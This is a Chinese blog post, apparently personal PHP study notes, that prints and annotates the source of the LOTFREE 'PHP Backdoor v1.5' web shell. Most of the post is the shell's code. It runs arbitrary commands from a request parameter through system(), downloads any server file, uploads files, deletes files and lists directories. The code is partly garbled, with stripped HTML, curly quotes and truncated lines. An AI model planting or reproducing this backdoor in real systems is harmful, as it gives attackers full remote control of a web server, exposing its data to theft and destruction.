PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。
以下是一个后门程序的注释
- function good_link($link)
- {
- $link=ereg_replace(“/+”,”/”,$link);
- $link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);
- $link=ereg_replace(“/+”,”/”,$link);
- if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
- if($link==”")$link=”.”;
- return $link;
- }
- //$_REQUEST用来取得提交到本文件的数据
- $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”
- $dir=good_link($dir);
- $rep=opendir($dir); //打开dir指定的路径句柄
- chdir($dir); //切换到dir指定的目录
- if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定义了down
- {
- header(“Content-Type: application/octet-stream”);
- header(“Content-Length: “.filesize($_REQUEST["down"]));
- header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
- readfile($_REQUEST["down"]); //将文件读取到缓冲区
- exit();
- }
- ?>
-
LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com
-
- echo “当前绝对路径为: ”.getcwd().”
\n”; //获取当前的绝对路径
- echo “dir = ‘$dir’
\n”;
- echo “当前目录,文件列表!
\n”;
- //如果已经输入要执行的命令
- if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
- {
- echo “
\n”;
- system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显
- echo “\n”;
- }
- //如果已经上传了文件
- if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
- {
- if($_FILES["fic"]["size"]
- {
- if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
- {
- echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!
\n”;
- }
- else echo “文件上传失败: “.$_FILES["fic"]["error"].”
\n”;
- }
- else echo “File too large(文件超出大小限制)!
\n”;
- }
- if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件
- {
- if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
- echo “成功删除 “.$_REQUEST['rm'].”!
\n”;
- else echo “删除文件失败
\n”;
- }
- ?>
-
-
- $t_dir=array();
- $t_file=array();
- $i_dir=0;
- $i_file=0;
- //循环输读取前的目录文件,放在t_dir和t_file中
- while($x=readdir($rep))
- {
- if(is_dir($x)) //如果当前处理的是目录
- $t_dir[$i_dir++]=$x;
- else //如果当前处理的是文件
- $t_file[$i_file++]=$x;
- }
- closedir($rep); //关闭由opendir打开的目录句柄
- while(1) //循环输入当前路径的目录和文件
- {
- ?>
-
-
- if($x=each($t_dir))
- {
- $name=$x["value"]; //获取t_dir数组里的目录名称
- if($name==’.'){}
- elseif($name==’..’) echo “ UP(父目录)
\n”; //展示一个UP链接,读取父目录的文件列表
- else
- echo “ ”.$name.”\n”;
- }
- ?>
-
|
|
- //$_SERVER['PHP_SELF']取得当前php脚本文件名
- if($y=each($t_file))
- {
- if($y["key"]%2==0) //如果当前处理的是key
- echo ” bgcolor=’lightgreen’>\n”;
- else //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。
- echo “>\n”;
- echo “ ”.$y["value"].”\n”;
- }
- else echo“>\n”;
- ?>
|
- if($y)
- {
- //如果是文件,就提供以下删除该文件的链接
- if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”;
- echo “>Del”;
- }
- else echo “>\n”;
- ?>
-
- if(!$x && !$y)
- break;
- }
- ?>
-
-
-
-
?dir=”>revenirau repertoire d’origine
-
- 上传文件到服务器当前目录:
-
-
复制代码
|